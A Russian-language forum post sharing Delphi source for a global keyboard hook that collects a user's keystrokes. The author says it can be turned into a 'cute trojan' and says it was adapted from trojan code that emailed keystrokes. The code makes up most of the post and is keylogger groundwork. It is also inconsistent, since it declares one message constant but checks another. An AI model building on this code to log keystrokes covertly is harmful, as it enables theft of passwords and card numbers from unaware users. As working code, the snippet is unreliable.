
Жаль, шо усе программеры разбежались. 8-(
И типа может, хоть кто-то появится, начинаю делиться своими сарсами, над которыми трудился.
Буду пытаться, каждый день че-нить запостить...

Типа щас первый топик перехвата юзверем нажатий клавиш в пользовательском окне. На основе ентих сарсов в принципе, мона сделать милый троянчик, который глобально отлавливает шо юзер пресует на клаве...

Шобы получить столь маленький код я промучался 2 дня, тупо вводя в всяких поисковиках: "+Keyboard +Hook +Delphi"... %)))
И в конце концов наткнулся на сарсы трояна перехвата клавиш и высылки их на е-мыло...

У меня было устройство, которое соединясь с клавой и работало через порт клавы, проще говоря устройство считывания кредитных карточек.
Итак сарсы:
Код: Выделить всё
//Объявление констант и переменных
Const WM_Received=WM_User+1; //Событие при котором нуна останавливать хук
Var CountChars:Integer; //Количество выловленных символов
Str:String; //Накопитель выловленых символов
HookHandle: hHook; //Хранит значение предыдущего обработчика клавы, который был по
умолчанию
Код: Выделить всё
//Объявление функции обработки нажатии юзверем клавы
Function KeyboardProc(Code: integer; WParam: WParam; LParam: LParam): LResult; stdcall; //Обработчик событий от клавиатуры
Type TWParamTranslation=Record
Byte12:Word;
Byte3:Byte;
Byte4:Byte;
End;
Begin
If TWParamTranslation(LParam).Byte4 and 128<>0 Then //Отлавливается сообщение, в котором
//содержится символ
Begin
Inc(CountChars);
Str:=Str+Chr(WParam);
End;
If Length(Str)>20 Then SendMessage(fMain.Handle,WM_Received,0,0); //Останавливаем перехват
//клав в случае, када выловлено необходимое количество символов
End;
Код: Выделить всё
Procedure StartHook; //Начинает перехват событий от клавиатуры
Begin
CountChars:=0;
Str:='';
HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, Hinstance, 0);
End;
Код: Выделить всё
Procedure StopHook; //Прекращает перехват событий от клавиатуры
Begin
UnhookWindowsHookEx(HookHandle);
End;
Код: Выделить всё
//Фрагмент метода WNDProc
Procedure tfMain.WNDProc;
Begin
Inherited WNDProc;
If Message.Msg=WM_InfoReceived Then StopHook; //Останавливает обработку....
End;
